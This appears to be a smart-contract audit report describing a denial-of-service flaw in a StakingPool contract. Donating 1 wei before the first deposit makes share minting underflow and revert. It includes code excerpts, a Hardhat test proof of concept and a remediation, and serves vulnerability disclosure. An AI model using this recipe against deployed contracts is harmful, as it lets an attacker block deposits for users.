Summary
The Staking Pool contract can be blocked from receiving deposits due to donating tokens at initial state
Vulnerability Details
The function StakingPool#donateTokens() allows arbitrary caller to donate asset tokens to the pool, effectively increase the total staked amount.
function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
@> totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}
The totalStaked is used to compute shares to mint to depositors. At the very first deposit after Staking Pool is deployed, it is expected that the share amount to be minted will equal to the deposit amount.
function getSharesByStake(uint256 _amount) public view returns (uint256) {
uint256 totalStaked = _totalStaked();
@> if (totalStaked == 0) {
return _amount;
} else {
return (_amount * totalShares) / totalStaked;
}
}
However, by donating tokens just 1 wei which increases totalStaked to be > 0, the function getSharesByStake() always return 0 at the first deposit, which causes the mint flow to revert due to arithmetic underflow
function _mintShares(address _recipient, uint256 _amount) internal {
require(_recipient != address(0), "Mint to the zero address");
if (totalShares == 0) {
shares[address(0)] = DEAD_SHARES;
totalShares = DEAD_SHARES;
@> _amount -= DEAD_SHARES;
}
totalShares += _amount;
shares[_recipient] += _amount;
}
PoC
Add the test below to test file staking-pool.test.ts:
it.only('donateTokens blocks deposits', async () => {
const { accounts,token, stake, adrs } = await loadFixture(deployFixture)
const stakingPool = (await deployUpgradeable('StakingPool', [
adrs.token,
'LinkPool LINK',
'lpLINK',
[
[accounts[4], 1000],
[adrs.erc677Receiver, 2000],
],
toEther(10000),
])) as StakingPool
const strategy1 = (await deployUpgradeable('StrategyMock', [
adrs.token,
await stakingPool.getAddress(),
toEther(1000),
toEther(10),
])) as StrategyMock
await stakingPool.addStrategy(await strategy1.getAddress())
await stakingPool.setPriorityPool(accounts[0])
await token.approve((await stakingPool.getAddress()), ethers.MaxUint256)
await stakingPool.donateTokens(1);
await expect(stakingPool.deposit(accounts[0], 1000, ['0x', '0x'])).to.be.revertedWithPanic();
})
Run the test and it passes. It means that the first deposit fails
Please note that the function StakingRewardsPool#_mint() (out of scope) itself is not vulnerable. The root cause is from donateTokens() which is from in-scope StakingPool contract
Impact
Staking Pool is DoS
Tools Used
Manual
Recommendations
Consider not increasing totalStaked in the function StakingPool#donateTokens()